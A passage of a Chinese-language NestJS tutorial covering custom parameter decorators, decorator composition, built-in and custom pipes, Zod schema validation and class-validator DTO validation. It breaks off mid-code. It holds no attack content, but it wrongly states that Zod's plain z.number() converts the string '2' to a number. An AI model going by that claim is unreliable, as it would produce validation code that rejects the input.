>
> ```ts
> export const User = createParamDecorator<keyof UserEntity>((data, ctx) => ...);
> ```
>
> 或者使用联合类型：
>
> ```ts
> type UserPaths = 'firstName' | 'preferences.theme' | 'metadata.lastLogin';
> export const User = createParamDecorator<UserPaths>((data, ctx) => ...);
> ```

## 使用管道{#working-with-pipes}

Nest 对自定义参数装饰器的处理方式与内置装饰器（如 `@Body()`、`@Param()` 和 `@Query()`）完全一致。这意味着你可以像使用内置装饰器一样，对自定义装饰器的参数应用管道进行验证和转换。

例如，在我们的 `@User()` 装饰器中，可以使用 `ValidationPipe` 来验证提取的用户数据是否符合预期格式：

```ts
@Get()
async findOne(
  @User(new ValidationPipe({ 
    validateCustomDecorators: true,  // 启用自定义装饰器验证
    transform: true,                 // 启用数据转换
    whitelist: true                  // 过滤掉未定义的属性
  }))
  user: UserEntity,
) {
  console.log('验证后的用户数据:', user);
  return this.userService.process(user);
}
```

**重要提示**：

* 使用 `ValidationPipe` 时必须设置 `validateCustomDecorators: true`，因为默认情况下它不会验证自定义装饰器的参数
* 可以配合 class-validator 的装饰器在 UserEntity 类中定义验证规则
* 管道不仅可以验证数据，还能进行类型转换和数据清理

## 装饰器组成{#decorator-composition}

Nest 提供了一个强大的辅助方法 `applyDecorators` 来组合多个装饰器。这种组合模式可以大大提高代码的可维护性和复用性。例如，在实际开发中，身份验证和授权往往需要多个装饰器配合使用，我们可以将这些相关的装饰器组合成一个更高级的装饰器：

```ts
import { applyDecorators } from '@nestjs/common';

export function Auth(...roles: Role[]) {
  return applyDecorators(
    // 设置角色元数据
    SetMetadata('roles', roles),
    // 应用认证和角色守卫
    UseGuards(AuthGuard, RolesGuard),
    // Swagger 文档相关装饰器
    ApiBearerAuth(),
    ApiUnauthorizedResponse({ 
      description: '未经授权的访问',
      schema: {
        type: 'object',
        properties: {
          statusCode: { type: 'number', example: 401 },
          message: { type: 'string', example: '无效的认证凭证' }
        }
      }
    }),
    // 其他装饰器...
  );
}
```

这样设计的装饰器可以在控制器中优雅地使用：

```ts
@Controller('users')
export class UsersController {
  @Get()
  @Auth('admin', 'super-admin')  // 一行代码完成所有认证和授权配置
  @ApiOperation({ summary: '获取用户列表' })
  findAllUsers() {
    return this.usersService.findAll();
  }

  @Post()
  @Auth('admin')  // 不同接口可以指定不同的角色要求
  @ApiOperation({ summary: '创建新用户' })
  createUser(@Body() dto: CreateUserDto) {
    return this.usersService.create(dto);
  }
}
```

这种组合装饰器的方式带来了多重好处：

* **代码复用**：避免在每个需要认证的接口上重复编写相同的装饰器组合
* **关注点分离**：认证相关的配置被封装在一个地方，便于维护和修改
* **更清晰的语义**：`@Auth()` 比一堆单独的装饰器更能表达代码意图
* **类型安全**：可以限制角色参数的类型，避免拼写错误

**注意事项**：`@nestjs/swagger` 包中的 `@ApiHideProperty()` 装饰器不可组合，无法与 `applyDecorators` 一起使用

---

---
url: /nest/js3znd06/index.md
---
# 管道
## 管道{#pipes}

管道（Pipes）是用 `@Injectable()` 装饰器标注的类，实现了 `PipeTransform` 接口，就像流水线上的“加工站”，对输入数据进行处理或校验。管道有两个典型用途：

1. **转型（Transformation）**：将输入数据转换为所需格式，比如把字符串 “123” 变成整数 123。
2. **验证（Validation）**：检查输入数据是否合法，合格的直接放行，不合格的抛出异常。

管道作用于**控制器路由处理器**（即控制器方法）接收的参数，在方法执行前运行。NestJS 会先将参数交给管道处理，管道对参数进行转换或验证，处理后的结果（或抛出的异常）再传递给路由处理器。

NestJS 内置了许多开箱即用的管道，你也可以打造自己的自定义管道。

**提示**：管道运行在“**异常区域**”（exception zone）内。如果管道抛出异常，会由异常层（全局异常过滤器或当前上下文的异常过滤器）处理。因此，管道抛出异常后，控制器方法不会被执行。这为你在系统边界验证外部输入数据提供了一种最佳实践，就像在“入口关卡”过滤掉不合格的数据。

以下是管道的核心接口 `PipeTransform` 的定义，带注释说明其作用：

```typescript
import { ArgumentMetadata } from '@nestjs/common';

// PipeTransform 接口定义了管道的转型/验证逻辑
export interface PipeTransform<T = any, R = any> {
  transform(value: T, metadata: ArgumentMetadata): R;
}
```

**代码解释**：

* `@Injectable()`：管道类需要用此装饰器标记，使其可被 NestJS 的 DI 容器管理。
* `PipeTransform`：所有管道必须实现此接口，定义 `transform` 方法，接收输入值（`value`）和元数据（`metadata`），返回处理后的值或抛出异常。
* `value: T`：控制器方法的参数值（如请求的查询参数或 body 数据）。
* `metadata: ArgumentMetadata`：包含参数的上下文信息（如参数类型、名称、是否为 body/query 等）。
* `R`：转换后的返回值类型，可能是原始值、转换后的值或抛出的异常。

**示例：内置管道 `ParseIntPipe`**

NestJS 提供内置的 `ParseIntPipe`，用于将字符串转换为整数并验证：

```typescript
import { Controller, Get, Query } from '@nestjs/common';
import { ParseIntPipe } from '@nestjs/common';

@Controller('example')
export class ExampleController {
  @Get()
  findById(@Query('id', ParseIntPipe) id: number) {
    return { id }; // id 已由 ParseIntPipe 转换为整数
  }
}
```

**解释**：

* **`@Query('id', ParseIntPipe)`**：将查询参数 `id`（如 `"123"`）交给 `ParseIntPipe` 处理。
* **`ParseIntPipe`**：检查 `id` 是否为有效的数字字符串，如果是，转换为整数（如 `123`）；否则抛出 `BadRequestException`。
* **异常区域**：如果 `id` 不是数字（如 `"abc"`），`ParseIntPipe` 抛出异常，交给全局或上下文的异常过滤器处理，控制器方法不会执行。

## 内置管道{#built-in-pipes}

NestJS 提供了一套开箱即用的内置管道，能快速处理常见的转型和验证需求。这些管道包括：

* `ValidationPipe`：验证数据对象（如 DTO），常与 `class-validator` 配合。
* `ParseIntPipe`：将字符串转为整数。
* `ParseFloatPipe`：将字符串转为浮点数。
* `ParseBoolPipe`：将字符串转为布尔值。
* `ParseArrayPipe`：将输入转为数组并验证其内容。
* `ParseUUIDPipe`：验证 UUID 格式。
* `ParseEnumPipe`：验证输入是否属于指定枚举值。
* `DefaultValuePipe`：为缺失的参数提供默认值。
* `ParseFilePipe`：验证上传的文件。
* `ParseDatePipe`：将字符串转为日期对象。

这些管道都从 `@nestjs/common` 包中导出，方便直接使用。

让我们以 `ParseIntPipe` 为例，快速了解它的用法。这是一个典型的**转型**场景：管道确保控制器方法的参数被转换为 JavaScript 整数，如果转换失败则抛出异常。 `Parse*` 管道，包括 `ParseBoolPipe`、`ParseFloatPipe`、`ParseEnumPipe`、`ParseArrayPipe`、`ParseDatePipe` 和 `ParseUUIDPipe`。

以下是 `ParseIntPipe` 的使用示例，展示如何将查询参数转换为整数：

```typescript
import { Controller, Get, Query } from '@nestjs/common';
import { ParseIntPipe } from '@nestjs/common';

@Controller('example')
export class ExampleController {
  @Get()
  findById(@Query('id', ParseIntPipe) id: number) {
    // id 已被 ParseIntPipe 转换为整数
    return { id };
  }
}
```

**代码解释**：

* **`@Query('id', ParseIntPipe)`**：将查询参数 `id`（如 `"123"`）交给 `ParseIntPipe` 处理。
* **`ParseIntPipe`**：尝试将输入字符串转换为整数（通过 `parseInt`）。如果输入有效（如 `"123"`），返回整数 `123`；如果无效（如 `"abc"`），抛出 `BadRequestException`。
* **异常区域**：抛出的异常会被异常过滤器（如全局过滤器）捕获，控制器方法不会执行。
* **类型安全**：`id: number` 确保 TypeScript 编译时检查参数类型，管道在运行时保证实际值符合类型。

`ParseIntPipe` 的内置逻辑（伪代码）

以下是 `ParseIntPipe` 的简化实现，展示其工作原理：

```typescript
import { PipeTransform, BadRequestException } from '@nestjs/common';

export class ParseIntPipe implements PipeTransform {
  transform(value: any): number {
    const val = parseInt(value, 10);
    if (isNaN(val)) {
      throw new BadRequestException('Validation failed: id must be a number');
    }
    return val;
  }
}
```

**解释**：

* **`transform`**：接收输入值，尝试用 `parseInt` 转换为整数。
* **验证**：如果结果为 `NaN`（如输入 `"abc"`），抛出异常。
* **转型**：返回转换后的整数。

## 绑定管道{#binding-pipes}

要使用管道（Pipes），我们需要将管道类的实例绑定到合适的上下文，确保在进入控制器方法前对参数进行转型或验证。以 `ParseIntPipe` 为例，我们希望将它绑定到特定的路由处理程序（控制器方法），确保方法执行前参数被正确处理。NestJS 提供了一种方法参数级别的绑定方式，通过装饰器（如 `@Param` 或 `@Query`）应用管道：

```typescript
import { Controller, Get, Param, Query } from '@nestjs/common';
import { ParseIntPipe, HttpStatus } from '@nestjs/common';
import { CatsService } from './cats.service';

@Controller('cats')
export class CatsController {
  constructor(private readonly catsService: CatsService) {}

  @Get(':id')
  async findOne(@Param('id', ParseIntPipe) id: number) {
    return this.catsService.findOne(id); // id 已转为整数
  }
}
```

这种绑定方式确保以下两者之一成立：

1. 控制器方法（如 `findOne`）接收到的参数是预期类型（例如整数 `id`），符合 `catsService.findOne` 的要求。
2. 如果参数无效（例如非数字字符串），管道抛出异常，阻止方法执行。

**示例场景**：
假设请求为 `GET localhost:3000/abc`，`ParseIntPipe` 会抛出以下异常：

```json
{
  "statusCode": 400,
  "message": "Validation failed (numeric string is expected)",
  "error": "Bad Request"
}
```

这个异常会阻止 `findOne` 方法执行，确保只有有效数据进入业务逻辑。

在上面的代码中，我们传递了管道类（`ParseIntPipe`）而非实例，将实例化责任交给 NestJS 框架，启用依赖注入（DI）。管道和守卫类似，也可以传递**就地实例**，以便自定义行为。例如，修改 `ParseIntPipe` 的错误状态码：

```typescript
@Get(':id')
async findOne(
  @Param('id', new ParseIntPipe({ errorHttpStatusCode: HttpStatus.NOT_ACCEPTABLE }))
  id: number,
) {
  return this.catsService.findOne(id);
}
```

这种绑定方式同样适用于其他 `Parse*` 管道（如 `ParseBoolPipe`、`ParseUUIDPipe` 等），它们都能处理路由参数、查询参数或请求体。以下是查询参数的例子：

```typescript
@Get()
async findOne(@Query('id', ParseIntPipe) id: number) {
  return this.catsService.findOne(id);
}
```

再看一个使用 `ParseUUIDPipe` 的例子，确保参数是有效的 UUID：

```typescript
import { ParseUUIDPipe } from '@nestjs/common';

@Get(':uuid')
async findOne(@Param('uuid', new ParseUUIDPipe()) uuid: string) {
  return this.catsService.findOne(uuid); // uuid 已验证为有效 UUID
}
```

**提示**：`ParseUUIDPipe` 默认验证版本 3、4 或 5 的 UUID。如果需要特定版本，可以通过选项指定：

```typescript
@Param('uuid', new ParseUUIDPipe({ version: '4' }))
uuid: string;
```

绑定 `Parse*` 管道的方式类似，主要用于转型和验证。`ValidationPipe` 的绑定稍有不同。

**提示**：更多 `ValidationPipe` 的详细示例，请参阅 [验证技术](../技术/nest-validation.md)。

## 定制管道{#custom-pipes}

除了使用 NestJS 提供的内置管道（如 `ParseIntPipe` 和 `ValidationPipe`），你还可以从头打造自定义管道。虽然内置管道已经很强大，但通过构建自定义版本，我们可以深入理解管道的实现原理。本节将从一个简单的 `ValidationPipe` 开始，逐步展示如何创建自定义管道。

我们先构建一个最简单的 `ValidationPipe`，它像一个“中转站”，接收输入值并直接返回，不做任何处理，类似数学中的恒等函数（输入什么，输出什么）：

```typescript
import { PipeTransform, Injectable, ArgumentMetadata } from '@nestjs/common';

@Injectable()
export class ValidationPipe implements PipeTransform {
  transform(value: any, metadata: ArgumentMetadata) {
    return value; // 直接返回输入值，未做处理
  }
}
```

**提示**：`PipeTransform<T, R>` 是一个泛型接口，所有管道必须实现。它用 `T` 表示输入值 `value` 的类型，用 `R` 表示 `transform` 方法的返回类型。

每个管道都必须实现 `transform` 方法，以满足 `PipeTransform` 接口的契约。这个方法接收两个参数：

* `value`：当前处理的控制器方法参数（在路由处理程序接收前）。
* `metadata`：参数的元数据，描述参数的上下文信息。

元数据对象（`ArgumentMetadata`）包含以下属性：

```typescript
export interface ArgumentMetadata {
  type: 'body' | 'query' | 'param' | 'custom'; // 参数来源
  metatype?: Type<unknown>; // 参数的类型（如 String、Number）
  data?: string; // 装饰器中传递的字符串（如 @Body('key') 的 key）
}
```

**元数据属性解释**：

* `type`：指示参数来源，例如 `@Body()`（请求体）、`@Query()`（查询参数）、`@Param()`（路由参数）或 `@Custom()`（自定义参数）。
* `metatype`：参数的 TypeScript 类型（如 `String`、`Number`）。如果未声明类型或使用普通 JavaScript，值为 `undefined`。
* `data`：装饰器中传递的字符串，例如 `@Body('key')` 的 `key`。如果装饰器括号为空（如 `@Body()`），则为 `undefined`。

**警告**：TypeScript 的接口（interface）在编译为 JavaScript 后会被完全移除，运行时无法获取接口的任何类型信息。因此，如果你的方法参数使用接口类型，NestJS 在运行时获取到的 `metatype` 只会是 `Object`，无法精确反映原本的类型结构。

**如何解决？**
如果你需要在运行时进行类型检查、验证或元数据反射（如在自定义管道或 `ValidationPipe` 中），建议使用 **类（class）** 来定义 DTO（数据传输对象），而不是接口。因为类在编译后依然存在于 JavaScript 代码中，NestJS 可以通过反射机制获取到类的构造函数和类型信息。

## 基于模式的验证{#pattern-based-validation}

让我们的验证管道更有用一些。仔细查看 `CatsController` 的 `create()` 方法，我们可能希望在尝试运行我们的服务方法之前确保请求体对象有效。

接下来，我们关注基于模式的验证。以 `CatsController` 的 `create` 方法为例：

```typescript
  @Post()
  async create(@Body() createCatDto: CreateCatDto) {
    this.catsService.create(createCatDto); // createCatDto 需验证
  }
```

`CreateCatDto` 定义如下：

```typescript
export class CreateCatDto {
  name: string;
  age: number;
  breed: string;
}
```

我们需要确保 `createCatDto` 的请求体有效（例如，`name` 和 `breed` 是非空字符串，`age` 是正整数）。直接在控制器方法中验证会违反**单一职责原则（SRP）**，增加代码复杂性。另一种方法是创建一个验证器类，但需要在每个方法开头手动调用，容易遗漏。

中间件可能看似是个选择，但它无法访问执行上下文（如控制器方法或参数），因此不适合通用验证。而管道正是为此设计的：它们在方法调用前处理参数，完美适合验证 `createCatDto`。

## 对象模式验证{#object-mode-validation}

对象模式验证（Schema-Based Validation）是一种以干净、DRY（Don't Repeat Yourself）方式验证复杂对象（如 DTO）的方法。相比在控制器中手动验证，使用基于模式的验证可以让代码更简洁、可复用。[Zod](https://zod.nodejs.cn/) 是一个强大的模式验证库，API 直观，适合与 NestJS 的管道机制结合。本节将展示如何使用 Zod 创建一个自定义验证管道，专注于简单性和可重用性。

> **DRY（Don't Repeat Yourself）** 是软件开发中的一个重要原则，意思是：**不要重复自己**，即相同的逻辑只写一次，重复的代码抽出来。

首先，安装 Zod 库：

```bash
npm install --save zod
```

以下代码展示了一个基于 Zod 的验证管道 `ZodValidationPipe`，它通过构造函数接收一个 Zod 模式（`ZodSchema`），并使用 `schema.parse()` 方法验证输入参数。验证管道要么返回通过验证的值，要么抛出异常。

```typescript
import { PipeTransform, ArgumentMetadata, BadRequestException, Injectable } from '@nestjs/common';
import { ZodSchema } from 'zod';

@Injectable()
export class ZodValidationPipe implements PipeTransform {
  constructor(private schema: ZodSchema) {}

  transform(value: unknown, metadata: ArgumentMetadata) {
    try {
      const parsedValue = this.schema.parse(value); // 使用 Zod 模式验证
      return parsedValue; // 返回验证后的值
    } catch (error) {
      throw new BadRequestException('Validation failed'); // 验证失败抛出异常
    }
  }
}
```

**代码解释**：

* `@Injectable()`：使管道可被 NestJS 的依赖注入（DI）容器管理。
* `constructor(private schema: ZodSchema)`：接收一个 Zod 模式，定义验证规则。
* `transform`：使用 `schema.parse()` 验证输入值 `value`，成功返回解析后的值，失败抛出 `BadRequestException`。
* 异常区域：抛出的异常会被异常过滤器捕获，阻止控制器方法执行。

**Zod 模式定义**

先定义一个 Zod 模式，用于验证 `CreateCatDto`：

```typescript
import { z } from 'zod';

// 定义 Zod 模式
export const CreateCatSchema = z.object({
  name: z.string().min(2, 'Name must be at least 2 characters'),
  age: z.number().int().min(1, 'Age must be a positive integer'),
  breed: z.string().nonempty('Breed cannot be empty'),
});

// 类型推导（可选，用于 TypeScript 类型安全）
export type CreateCatDto = z.infer<typeof CreateCatSchema>;
```

**说明**：

* `z.object`：定义对象模式的结构。
* `z.string().min(2)`：验证 `name` 是字符串且长度至少 2。
* `z.number().int().min(1)`：验证 `age` 是正整数。
* `z.string().nonempty()`：验证 `breed` 是非空字符串。

**使用 `ZodValidationPipe`**

绑定管道到控制器方法：

```typescript
import { Controller, Post, Body } from '@nestjs/common';
import { ZodValidationPipe } from './zod-validation.pipe';
import { CreateCatSchema, CreateCatDto} from './create-cat.schema';

@Controller('cats')
export class CatsController {
  @Post()
  async create(
    @Body(new ZodValidationPipe(CreateCatSchema)) createCatDto: CreateCatDto,
  ) {
    return { cat: createCatDto }; // createCatDto 已通过 Zod 验证
  }
}
```

**测试**：

```http
POST /cats { "name": "Fluffy", "age": 2, "breed": "Persian" }
```

验证通过，返回 `{ cat: { name: "Fluffy", age: 2, breed: "Persian" } }`。

```http
POST /cats { "name": "F", "age": -1, "breed": "" }
```

抛出 `BadRequestException`，错误消息为 `"Validation failed"`。

```http
POST /cats { "name": "Fluffy", "age": "2", "breed": "Persian" }
```

Zod 自动将 `"2"` 转为 `2`（`z.number()` 的行为）。

**核心功能**

* **ZodValidationPipe**：通过 Zod 模式验证输入数据，确保符合定义的规则（如类型、长度、范围）。
* **可重用性**：通过构造函数传递不同 Zod 模式，管道可用于多种 DTO 验证。
* **异常处理**：验证失败抛出 `BadRequestException`，由异常过滤器捕获，保护控制器方法。

## 绑定验证管道{#binding-validation-pipe}

我们之前学习了如何绑定转换管道（如 `ParseIntPipe` 和其他 `Parse*` 管道），它们专注于将输入转为特定类型（如字符串到整数）。绑定验证管道（如 `ZodValidationPipe`）同样简单，但通常在**方法级别**而非参数级别应用，适合验证复杂的对象（如请求体的 DTO）。将 `ZodValidationPipe` 绑定到控制器方法，确保 `CreateCatDto` 在进入业务逻辑前通过 Zod 模式验证。

绑定 `ZodValidationPipe` 的步骤：

1. 创建 `ZodValidationPipe` 的实例。
2. 在管道构造函数中传递上下文特定的 Zod 模式（schema）。
3. 使用 `@UsePipes()` 装饰器将管道绑定到方法。

**Zod 模式示例**

```typescript
import { z } from 'zod';

// 定义 Zod 模式
export const createCatSchema = z
  .object({
    name: z.string(),
    age: z.number(),
    breed: z.string(),
  })
  .required(); // 确保所有字段非空

// 推导 TypeScript 类型
export type CreateCatDto = z.infer<typeof createCatSchema>;
```

**说明**：

* `z.object`：定义对象的结构，指定字段类型。
* `z.string()` 和 `z.number()`：验证字段类型。
* `.required()`：确保字段非空（`null` 或 `undefined` 会被拒绝）。
* `z.infer`：从模式推导 TypeScript 类型，确保类型安全。

**绑定管道**

使用 `@UsePipes()` 装饰器将 `ZodValidationPipe` 绑定到控制器方法：

```typescript
import { Controller, Post, Body, UsePipes } from '@nestjs/common';
import { ZodValidationPipe } from './zod-validation.pipe';
import { CreateCatDto, createCatSchema } from './create-cat.schema';
import { CatsService } from './cats.service';

@Controller('cats')
export class CatsController {
  constructor(private readonly catsService: CatsService) {}

  @Post()
  @UsePipes(new ZodValidationPipe(createCatSchema)) // 绑定 ZodValidationPipe
  async create(@Body() createCatDto: CreateCatDto) {
    return this.catsService.create(createCatDto); // createCatDto 已通过验证
  }
}
```

**代码解释**：

* `@UsePipes(new ZodValidationPipe(createCatSchema))`：在方法级别绑定管道，验证整个请求体。
* `createCatDto: CreateCatDto`：TypeScript 类型确保编译时安全，Zod 模式在运行时验证。
* 验证逻辑：`ZodValidationPipe` 使用 `createCatSchema` 验证请求体，失败时抛出 `BadRequestException`。

**提示**：`@UsePipes()` 从 `@nestjs/common` 导入，用于方法级管道绑定。

**警告**：使用 Zod 库需在 `tsconfig.json` 中启用 `strictNullChecks` 以确保严格的类型检查：

```json
{
  "compilerOptions": {
    "strictNullChecks": true
  }
}
```

增强 `ZodValidationPipe` 提供详细错误：

```typescript
import { PipeTransform, Injectable, BadRequestException, ArgumentMetadata } from '@nestjs/common';
import { ZodSchema } from 'zod';

@Injectable()
export class ZodValidationPipe implements PipeTransform {
  constructor(private schema: ZodSchema) {}

  transform(value: unknown, metadata: ArgumentMetadata) {
    try {
      return this.schema.parse(value);
    } catch (error) {
      // 提取 Zod 错误详情
      throw new BadRequestException(
        error.errors.map((e: any) => e.message).join(', '),
      );
    }
  }
}
```

**开发建议**

增强 Zod 模式，添加更严格的验证规则：

```typescript
export const createCatSchema = z.object({
  name: z.string().min(2, 'Name must be at least 2 characters'),
  age: z.number().int().min(1, 'Age must be a positive integer'),
  breed: z.string().nonempty('Breed cannot be empty'),
});
```

**`@UsePipes(new ZodValidationPipe(createCatSchema))` 和 `@Body(new ZodValidationPipe(createCatSchema))` 的区别**

`@UsePipes()` 在方法级别绑定管道

```typescript
@Post()
@UsePipes(new ZodValidationPipe(createCatSchema))
async create(@Body() createCatDto: CreateCatDto) {
  return this.catsService.create(createCatDto);
}
```

**作用范围**：`@UsePipes()` 是一个方法级装饰器，将管道应用于整个控制器方法，影响方法中所有参数（如 `@Body()`、`@Query()`、`@Param()` 等）。

**验证对象**：在例子中，`ZodValidationPipe` 会被应用到所有参数，但由于方法只有一个 `@Body()` 参数，实际效果是验证整个请求体 `createCatDto`。

**适用场景**：适合需要对多个参数统一应用管道的场景，或者当你想为整个方法定义统一的验证逻辑。

`@Body(new ZodValidationPipe())` 在参数级别绑定管道

```typescript
@Post()
async create(@Body(new ZodValidationPipe(createCatSchema)) createCatDto: CreateCatDto) {
  return this.catsService.create(createCatDto);
}
```

**作用范围**：`@Body(new ZodValidationPipe(createCatSchema))` 是一个**参数级装饰器**，仅对` @Body()` 参数（即请求体 `createCatDto`）应用管道。

**验证对象**：`ZodValidationPipe` 只验证请求体，不会影响其他参数（如 `@Query()` 或 `@Param()`）。

**适用场景**：适合需要针对特定参数（如请求体）进行验证的场景，更加精确。

**总结**：

**@UsePipes()**：方法级绑定，影响所有参数，适合统一验证逻辑。

**@Body(new ZodValidationPipe())**：参数级绑定，仅验证请求体，适合精确控制。

在单一 `@Body()` 场景下，两者效果相同，但多参数时参数级更灵活。

**在实际开发中，参数级管道比方法级管道用的多，方法级管道一般只在特殊场景下使用。**

**参数级管道**

```typescript
@Post('demo/:id')
demo(
  @Param('id', new ParseIntPipe()) id: number,
  @Query('q', new DefaultValuePipe('default')) q: string,
  @Body(new ValidationPipe()) body: MyDto,
) { ... }
```

优点：

* 只对当前参数生效，类型安全，不会误伤其他参数。

* 代码可读性强，维护简单。

* 适合大多数业务场景（如单独校验 id、query、body）。

**方法级管道**

```typescript
@Post('demo')
@UsePipes(new ValidationPipe())
demo(@Body() body: MyDto) { ... }
```

优点：

* 适合所有参数都需要同一套校验规则的场景。

* 适合自定义复杂管道（如多参数联合校验、日志、全量转换等）。

缺点：

* 所有参数都会经过同一个管道，容易混淆，需要在管道内部判断参数类型。

* 代码维护难度略高。

**全局管道**

```typescript
app.useGlobalPipes(new ValidationPipe());
```

适合全局 DTO 校验、全局数据清洗。

**方法级管道示例**：根据参数类型选择对应 schema 校验

::: details 展开

```typescript
// zod schema 用于 body 校验
const bodySchema = z.object({
  name: z.string().min(2, { message: 'Name must be at least 2 characters long' }),
  age: z.preprocess(val => Number(val), z.number().min(3, { message: 'Age must be at least 3' })),
});
// zod schema 用于 query 校验
const querySchema = z.object({
  q: z.string().min(1, { message: 'q 不能为空' }),
});
// zod schema 用于 param 校验
const paramSchema = z.object({
  id: z.preprocess(val => Number(val), z.number().int().min(1, { message: 'id 必须为正整数' })),
});
```

```typescript
class MultiTypePipe implements PipeTransform {
  constructor(
    private paramSchema: z.ZodTypeAny,
    private querySchema: z.ZodTypeAny,
    private bodySchema: z.ZodTypeAny
  ) {}
  transform(value: any, metadata: ArgumentMetadata) {
    if (metadata.type === 'param') {
      const result = this.paramSchema.safeParse({ id: value });
      if (!result.success) {
        const msg = result.error.issues.map(i => i.message).join('; ');
        throw new BadRequestException('路径参数 id 校验失败: ' + msg);
      }
      console.log('param:', value);
      return value;
    }
    if (metadata.type === 'query') {
      const result = this.querySchema.safeParse(value);
      if (!result.success) {
        const msg = result.error.issues.map(i => i.message).join('; ');
        throw new BadRequestException('查询参数 q 校验失败: ' + msg);
      }
      console.log('query:', value);
      return value;
    }
    if (metadata.type === 'body') {
      // 兼容 body 是字符串的情况
      if (typeof value === 'string') {
        try { value = JSON.parse(value); } catch { throw new BadRequestException('Body 不是有效的 JSON'); }
      }
      const result = this.bodySchema.safeParse(value);
      if (!result.success) {
        const msg = result.error.issues.map(i => i.message).join('; ');
        throw new BadRequestException('请求体校验失败: ' + msg);
      }
      console.log('body:', value);
      return value;
    }
    return value;
  }
}
```

```typescript
@Post('demo/:id')
@UsePipes(new MultiTypePipe(paramSchema, querySchema, bodySchema))
pipeDemoMethod(
    @Param('id') id: number,
    @Query() query: any,
    @Body() body: any,
    ) {
        return {
            param: id,
            query,
            body,
        };
    }
```

:::

## 类验证器{#class-validator}

**警告**：本节的技术依赖 TypeScript，普通 JavaScript 应用无法使用这些方法，因为 `class-validator` 需要 TypeScript 的元数据支持。

NestJS 与 [`class-validator`](https://github.com/typestack/class-validator) 库无缝集成，通过基于装饰器的验证方式简化 DTO 验证。结合 `class-transformer`，可以实现强大的类型转换和验证功能。本节展示如何使用 `class-validator` 为 `CreateCatDto` 添加验证规则，并通过自定义 `ValidationPipe` 或内置 `ValidationPipe` 验证请求参数。相比 Zod 验证，`class-validator` 的优势在于直接在 DTO 类上定义验证规则，无需额外的模式文件，保持单一职责。

安装所需的库：

```bash
npm install --save class-validator class-transformer
```

**定义 DTO 与验证装饰器**

为 `CreateCatDto` 添加 `class-validator` 装饰器，直接在类中定义验证规则：

```typescript
import { IsString, IsInt, IsNotEmpty, Min } from 'class-validator';

export class CreateCatDto {
  @IsString()
  @IsNotEmpty()
  name: string;

  @IsInt()
  @Min(1)
  age: number;

  @IsString()
  @IsNotEmpty()
  breed: string;
}
```

**代码解释**：

* **`@IsString()`**：确保 `name` 和 `breed` 是字符串。
* **`@IsNotEmpty()`**：确保字段非空（`null` 或 `undefined` 无效）。
* **`@IsInt()`**：确保 `age` 是整数。
* **`@Min(1)`**：确保 `age` 大于或等于 1。
* **优势**：验证规则与 DTO 定义合二为一，符合单一职责原则（SRP），无需单独的验证类。

**提示**：更多 `class-validator` 装饰器（如 `@MaxLength`、`@IsEmail` 等）请参考 [官方文档](https://github.com/typestack/class-validator#usage)。

**自定义 ValidationPipe**

创建一个自定义 `ValidationPipe` 使用 [`class-validator`](https://github.com/typestack/class-validator) 和 [`class-transformer`](https://github.com/typestack/class-transformer) 验证 DTO：

```typescript
import { PipeTransform, Injectable, ArgumentMetadata, BadRequestException } from '@nestjs/common';
import { validate } from 'class-validator';
import { plainToInstance } from 'class-transformer';

@Injectable()
export class ValidationPipe implements PipeTransform<any> {
  async transform(value: any, { metatype }: ArgumentMetadata) {
    // 跳过基本类型（String、Number 等）
    if (!metatype || !this.toValidate(metatype)) {
      return value;
    }

    // 将普通对象转为 DTO 实例
    const object = plainToInstance(metatype, value);
    // 使用 class-validator 验证
    const errors = await validate(object);
    if (errors.length > 0) {
      throw new BadRequestException('Validation failed');
    }
    return value; // 返回原始值
  }

  private toValidate(metatype: Function): boolean {
    const types: Function[] = [String, Boolean, Number, Array, Object];
    return !types.includes(metatype); // 仅验证复杂类型（如 DTO），跳过基本类型（如 String、Number 等）
  }
}
```

**代码解释**：

* **`async transform`**：标记为异步，因为 `class-validator` 的验证（如 `@IsEmail`）可能涉及异步操作。
* **`plainToInstance`**：将普通 JavaScript 对象（如请求体 `{ name: "Fluffy" }`）转为 `CreateCatDto` 实例，以便应用装饰器验证。
* **`validate`**：运行 `class-validator` 验证，失败时返回错误数组。
* **`toValidate`**：跳过基本类型（`String`、`Number` 等），仅验证复杂类型（如 DTO 类），当正在处理的当前参数是原生 JavaScript 类型时，它负责绕过验证步骤（它们不能附加验证装饰器，因此没有理由让它们通过验证步骤）。
* **异常**：验证失败抛出 `BadRequestException`，由异常过滤器处理。

**提示**：NestJS 提供内置的 `ValidationPipe`（`@nestjs/common`），功能更强大，支持更多选项（如 `whitelist`、`transform`）。本例中的自定义管道仅为演示，生产环境推荐使用内置版本。

**注意**：`class-transformer` 和 `class-validator` 由同一作者开发，协同性强，`plainToInstance` 确保验证前将输入转为类型化对象。

**绑定 ValidationPipe**

将管道绑定到控制器方法的 `@Body()` 参数：

```typescript
import { Controller, Post, Body } from '@nestjs/common';
import { ValidationPipe } from './validation.pipe';
import { CreateCatDto } from './create-cat.dto';
import { CatsService } from './cats.service';

@Controller('cats')
export class CatsController {
  constructor(private readonly catsService: CatsService) {}

  @Post()
  async create(@Body(new ValidationPipe()) createCatDto: CreateCatDto) {
    return this.catsService.create(createCatDto);
  }
}
```

**代码解释**：

* **`@Body(new ValidationPipe())`**：参数级绑定，仅验证请求体 `createCatDto`。
* **验证流程**：请求体通过 `plainToInstance` 转为 `CreateCatDto` 实例，`validate` 检查装饰器规则，失败抛出异常。

增强 `ValidationPipe` 提供详细错误：

```typescript
@Injectable()
export class ValidationPipe implements PipeTransform<any> {
  async transform(value: any, { metatype }: ArgumentMetadata) {
    if (!metatype || !this.toValidate(metatype)) {
      return value;
    }
    const object = plainToInstance(metatype, value);
    const errors = await validate(object);
    if (errors.length > 0) {
      throw new BadRequestException(
        errors
          .map(err => Object.values(err.constraints).join(', '))
          .join('; '),
      );
    }
    return value;
  }

  private toValidate(metatype: Function): boolean {
    const types: Function[] = [String, Boolean, Number, Array, Object];
    return !types.includes(metatype);
  }
}
```

**核心功能**

* **`class-validator`**：通过装饰器（如 `@IsString`、`@IsInt`）定义 DTO 验证规则。
* **`class-transformer`**：将普通对象转为 DTO 实例，支持验证和类型转换。
* **参数级绑定**：`@Body(new ValidationPipe())` 仅验证请求体，适合单一参数验证。
* **异步支持**：`transform` 方法支持异步，兼容 `class-validator` 的异步验证。

**开发建议**

使用内置 ValidationPipe，生产环境推荐使用 NestJS 的内置 `ValidationPipe`，支持更多选项：

```typescript
import { Module } from '@nestjs/common';
import { APP_PIPE } from '@nestjs/core';
import { ValidationPipe } from '@nestjs/common';

@Module({
  providers: [
    {
      provide: APP_PIPE,
      useValue: new ValidationPipe({
